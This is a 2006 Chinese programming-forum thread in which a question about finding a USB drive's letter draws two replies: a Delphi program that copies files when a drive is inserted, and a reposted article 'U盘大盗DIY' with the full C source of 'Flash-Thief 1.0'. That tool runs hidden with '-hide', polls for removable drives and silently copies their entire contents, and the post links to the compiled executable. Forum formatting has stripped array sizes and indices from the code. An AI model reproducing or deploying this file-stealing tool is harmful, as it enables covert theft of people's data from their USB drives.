zhfzhf 发表于 2006-7-11 06:14:17

如何知道盘符??

当我把U盘插入电脑后~~要通过怎么样编程~获得U盘在电脑里的盘符????

cpubbs 发表于 2006-7-11 18:59:26

<P>暂时只找到一点DEPHI的资料,继续努力找找,我看不懂DEPHI:</P>

<P>问:</P>
<P>如何做一个程序<BR>让它点了一项复制功能后可以做到<BR>1。把U盘插如电脑 然后就把文件直接复制U盘中 然后自动把U盘弹出<BR>2。弹出一个窗口问是否继续执行改功能。<BR>3。执行的话就再执行1的功能 不执行了就结束改功能</P>
<P>答:</P>
<P>unit main;</P>
<P>interface</P>
<P>uses<BR>Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<BR>Dialogs, StdCtrls,ShellApi;</P>
<P>type<BR>TForm1 = class(TForm)<BR>    Button1: TButton;<BR>    procedure Button1Click(Sender: TObject);<BR>    procedure FormCreate(Sender: TObject);<BR>private<BR>    { Private declarations }<BR>public<BR>    procedure WMDeviceChange( var Msg:Tmessage);message WM_DEVICECHANGE ;<BR>end;<BR>const<BR>   BDT_DEVICEARRIVAL=$8000;   //U盘插上时的消息<BR>type<BR>TU_drive=array of integer;// 保存 U盘的数字符号<BR>var<BR>Form1: TForm1;<BR>U_cnt: integer;//U 盘个数;<BR>U_drive:TU_drive;</P>
<P>implementation</P>
<P>{$R *.dfm}<BR>{---------文件复制函数----------}<BR>procedure Xcopy(ToDir,FromDir:String);<BR>var<BR>    OpStruc:TSHFileOpStruct;//声明一个TSHFileOpStruct 类型, 在ShellApi.pas 里<BR>    FromBuf,ToBuf: Array of char;<BR>begin<BR>      FillChar(FromBuf,sizeof(FromBuf),0);<BR>      FillChar(ToBuf,sizeof(ToBuf),0);<BR>      StrPCopy(FromBuf,FromDir+'*.txt');   //<BR>      StrPCopy(ToBuf,ToDir);<BR>      withOpStruc do<BR>      begin<BR>         Wnd:=form1.Handle ;<BR>         wFunc:=FO_COPY; //执行拷贝操作<BR>         pFrom:=@FromBuf;<BR>         pTo:=@ToBuf;//FOF_SILENT or FOF_NOCONFIRMMKDIR or<BR>         fFlags:= FOF_SILENT or FOF_NOCONFIRMMKDIR or FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION ;<BR>               //不带进度条   直接建立文件夹       一切询问以 YES 回答<BR>         fAnyOperationsAborted:=False;<BR>         hNameMappings:=Nil;<BR>         lpszProgressTitle:=Nil;<BR>      end;<BR>      ShFileOperation(OpStruc);// 调用API函数,完成操作<BR>      showmessage('copying');<BR>end;</P>
<P><BR>{----------- 初始话 ------------}<BR>procedureinit();<BR>var<BR>    i:integer;<BR>begin<BR>    U_cnt:=0;<BR>    for i:=1 to 24 do<BR>      U_drive:=0;<BR>end;</P>
<P>{---------- ↓判断是否为U盘 ↓--------}</P>
<P>function isudriver( num:integer): boolean;<BR>var<BR>    Drive:string;<BR>    DriveType: WORD;<BR>begin<BR>    Drive:= char(ord('A') + num) + ':\';<BR>    DriveType:=GetDriveType(Pchar(Drive));<BR>    if DriveType=DRIVE_REMOVABLE then<BR>      result:=true<BR>    else<BR>      result:=false;<BR>end;</P>
<P>{----------↓本地盘扫描 ↓------------}<BR>procedure scan();<BR> var<BR>   i:integer;<BR> begin<BR>    init(); //初始化,避免重复记数<BR>    for i:=3 to 25 do      //从D 盘开始扫描<BR>      begin<BR>         if isudriver(i) then<BR>         begin<BR>             U_cnt:=U_cnt + 1;<BR>             U_drive:=i;   //将盘符的数字代号保存<BR>         end;<BR>      end;<BR> end;</P>
<P>{-------------test-----------------}<BR>procedure TForm1.Button1Click(Sender: TObject);<BR>var<BR>i:integer;<BR>str:string;<BR>begin<BR>scan();<BR>i:=U_drive;<BR>form1.Caption:=inttostr(U_cnt) + ' 个盘,该盘为' + char(i + ord('A') );<BR>str:=char(i+ord('A'));<BR>Xcopy('c:\temp', pchar(str+ ':\'));<BR>end;<BR> {-----------↓ 初始化 ↓-----------}<BR>procedure TForm1.FormCreate(Sender: TObject);<BR>begin<BR>   init();<BR>end;<BR>{----------↓ U盘插入事件 ↓ ----------}<BR>procedure TForm1.WMDeviceChange(var Msg:Tmessage);<BR>var<BR>    i:integer;<BR>    str:string;<BR>begin<BR>    inherited; //什么意思?<BR>    case Msg.WParam of<BR>      BDT_DEVICEARRIVAL:       // U 盘插上事件<BR>         begin<BR>             form1.Tag:=form1.Tag+1;<BR>             form1.Caption:=inttostr(form1.tag);<BR>             if form1.tag mod 3=0 then<BR>               begin<BR>               scan();<BR>               if U_cnt&gt;0 then<BR>                   for i:=1 to U_cnt do<BR>                     begin<BR>                     str:=char(U_drive+ ord('A'));//取盘符<BR>                     showmessage('begin copy '+ str);<BR>                     Xcopy('c:\temp', pchar(str+ ':\'));<BR>                     showmessage('end of copy!');<BR>                     end;<BR>               end;<BR>         end;<BR>    end;// end of case<BR> end;</P>
<P>end.</P>

cpubbs 发表于 2006-7-11 19:00:00

如果能看懂,就把这个思想移到LV下面就可以实现了!

cpubbs 发表于 2006-7-11 19:03:56

<P>下面是VC的:</P>
<P>转自<a href="https://www.xfocus.net/bbs/index.php?act=SE&amp;f=2&amp;t=55182&amp;p=250053" target="_blank" >https://www.xfocus.net/bbs/index.php?act=SE&amp;f=2&amp;t=55182&amp;p=250053</A></P>
<P>U盘大盗DIY</P>
<P>Make Trojan 13:02:04<BR>U盘大盗DIY<BR>作者:lake2来源:lake2的专栏发布时间:2005-9-30 8:10:01发布人:noangel<BR><BR>减小字体 增大字体<BR><BR>【收藏到ViVi】【收藏到YouNote】【收藏此页到365Key】【 收藏此页到bbmao】<BR>看某期《黑客防线》上有介绍编写“U盘小偷”这个盗取U盘内所有文件的程序的文章,反正也没事做,自己也写了一个。文中是用VC++加MFC写的,我用C、API来写,而且名字叫“U盘大盗”,不然怎么会叫DIY呢^_^<BR>原理很简单,就是每隔一段时间探测驱动器,发现可移动盘就把里面的内容copy到机器上。几下子就搞定。代码如下,有关函数的可参考MSDN、CSDN搜索(还多亏了它呢)。<BR>#include "windows.h"<BR>#include "stdio.h"<BR>#include "string.h"<BR>#include "direct.h"<BR>char dir;<BR>/*<BR>看好啦,偷东西咯~<BR>*/<BR>void Copy( char* FileName )<BR><BR>{<BR><BR>      char dir2;<BR>       strcpy( dir2 , dir );<BR><BR>      //从全路径提取出文件名<BR><BR>       char* temp = strchr(FileName,'\\');<BR>       temp++;<BR><BR>       strcat(dir2 , temp );<BR><BR>       CopyFile( FileName , dir2 , 1 );<BR>}<BR><BR>void CreateDir( char * path )<BR><BR>{<BR><BR>       char temp2;strcpy( temp2 , dir );<BR><BR>       char* temp = strchr( path , '\\');<BR><BR>       temp++;<BR><BR>       strcat(temp2 , temp );<BR><BR>       mkdir( temp2 );<BR>}<BR><BR>/*<BR><BR>这个函数就是遍历目录得到文件<BR><BR>*/<BR><BR>void GetFile( char* FilePath )<BR><BR>{<BR><BR>       char temp,temp1;<BR><BR>       strcpy( temp ,FilePath );<BR><BR>       WIN32_FIND_DATA FindFileData;<BR><BR>       HANDLE hFind;<BR><BR>       strcat( temp , "*");<BR><BR>       //printf("%s",temp);<BR><BR>       hFind = FindFirstFile( temp , &amp;FindFileData );<BR>       //printf("%s\n",FindFileData.cFileName );<BR><BR>       if ( hFind == INVALID_HANDLE_VALUE )<BR><BR>       {<BR><BR>            //printf ("Invalid File Handle. GetLastError reports %d\n", GetLastError ());<BR><BR>            //exit(0);<BR><BR>       }<BR><BR>       else<BR><BR>       {    <BR><BR>            //printf("%s",temp1);         <BR><BR>                     do<BR><BR>                     {<BR><BR>                            strcpy( temp1 , FilePath );<BR><BR>                            strcat( temp1 , FindFileData.cFileName );<BR><BR>                            if(strcmp( FindFileData.cFileName , "." )!=0&amp;&amp;strcmp( FindFileData.cFileName , ".." )!=0)<BR><BR>                            {<BR><BR>                                 if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )<BR><BR>                                 {<BR><BR>                                                 strcat( temp1 , "\\" );<BR><BR>                                                 CreateDir( temp1 );<BR><BR>                                                 GetFile( temp1 );<BR><BR>                                 }<BR><BR>                                 else<BR><BR>                                 {<BR><BR>                                          //printf("%s\n",temp1 );<BR><BR>                                          Copy( temp1 );<BR><BR>                                 }                  <BR><BR>                            }<BR><BR>                     }while( FindNextFile( hFind,&amp;FindFileData ) );<BR><BR>       }<BR><BR>       FindClose(hFind);<BR>} <BR><BR>/*<BR><BR>这个函数检测是否为可移动磁盘<BR><BR>*/<BR><BR>int CheckDisk(char *disk)<BR><BR>{<BR><BR>       if(GetDriveType(disk)==DRIVE_REMOVABLE)return 0;<BR><BR>       return -1;<BR>}<BR><BR>int Steal()<BR><BR>{<BR><BR>       char buf;<BR><BR>       DWORD lod=GetLogicalDrives();<BR><BR>/*<BR><BR>GetLogicalDrives 返回的是一个32位整数,将他转换成二进制后,最高位表示驱动器A: 依次类推<BR><BR>比如,10111000000000000000000000000000<BR><BR>表示这台机器有驱动器 a,c,d,e<BR><BR>*/<BR><BR>       if (lod!=0)<BR><BR>       {<BR><BR>       for (int i=0;i&lt;26;i++)<BR><BR>            {<BR><BR>                     if ((lod &amp; 1)==1)<BR><BR>                     {<BR><BR>                            sprintf(buf,"%c",'A'+i);<BR><BR>                            strcat(buf,":\\");<BR><BR>                            if(!CheckDisk(buf))<BR><BR>                            {<BR><BR>                                 //现在判断驱动是否准备就绪~<BR><BR>                                 if(GetVolumeInformation(buf,0,0,0,0,0,0,0))<BR><BR>                                 {<BR><BR>                                       <BR><BR>                                          GetFile(buf);//!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!<BR><BR>                                          //GetFile("j:\\a\\");<BR><BR>                                 }<BR><BR>                                       <BR><BR>                            }<BR><BR>                     }<BR><BR>                     lod=lod&gt;&gt;1;<BR><BR>            }<BR><BR>}<BR><BR>       return 0;<BR><BR>}<BR><BR><BR><BR><BR><BR>int main(int argc, char* argv[])<BR><BR>{<BR><BR>            SYSTEMTIME st;<BR><BR>            char dtime,temp;<BR><BR>            GetLocalTime( &amp;st );<BR><BR>            itoa( st.wYear ,temp , 10 );<BR><BR>            strcpy( dtime , temp );<BR><BR>            itoa( st.wMonth ,temp , 10 );<BR><BR>            strcat( dtime , temp );<BR><BR>            itoa( st.wDay ,temp , 10 );<BR><BR>            strcat( dtime , temp );<BR><BR>            mkdir( dtime );<BR><BR>            getcwd( dir , 260 );<BR><BR>            strcat( dir , "\\");<BR><BR>            strcat( dir , dtime );<BR><BR>            strcat( dir , "\\" );<BR><BR>       if(argc!=2)<BR><BR>       {<BR><BR>            printf("\n Flash-Thief 1.0 by lake2 ( <a href="http://lake2.126.com/" target="_blank" ><FONT color=#436976>http://lake2.126.com</FONT></A> )\n");<BR><BR>            printf("Date: \t2005-5-28\n");<BR><BR>            printf("You can quit this program with Ctrl + C \nand you can run it in hide mode with \'-hide\'\n");<BR><BR>            printf("It's nothing with me whatever you do ! \n");<BR><BR>            printf("Running.......\n");<BR><BR>            while(1)<BR><BR>            {<BR><BR>                     Steal();<BR><BR>                     Sleep(30000);<BR><BR>            }<BR><BR>       }<BR><BR>       else<BR><BR>       {<BR><BR>            if(strcmp( argv , "-hide" )==0){printf("It's nothing with me whatever you do ! \n");ShellExecute( 0, "open", argv, NULL, NULL, SW_HIDE );}<BR><BR>            else<BR><BR>                     printf("Parameter %s is invalid",argv);<BR><BR>       }<BR><BR>       return 0;<BR><BR>}<BR>程序是命令行下的,加参数“-hide”可以后台运行;运行后会在当前目录生成当前日期的文件夹,盗取的东东都放在里面。程序有个小问题,就是当可移动设备是个移动硬盘的时候,呵呵,恐怕你的硬盘要很大才行哦。这个问题不想改了。<BR>VS.net + XP SP1 编译通过,编译好的程序这里可以下<a href="http://www.0x54.org/lake2/program/flash-thief.exe" target="_blank" ><FONT color=#436976>http://www.0x54.org/lake2/program/flash-thief.exe</FONT></A> <!--Signature--><BR></P>

cpubbs 发表于 2006-7-11 19:06:06

我有空也研究一下!
页: [1]
查看完整版本: 如何知道盘符??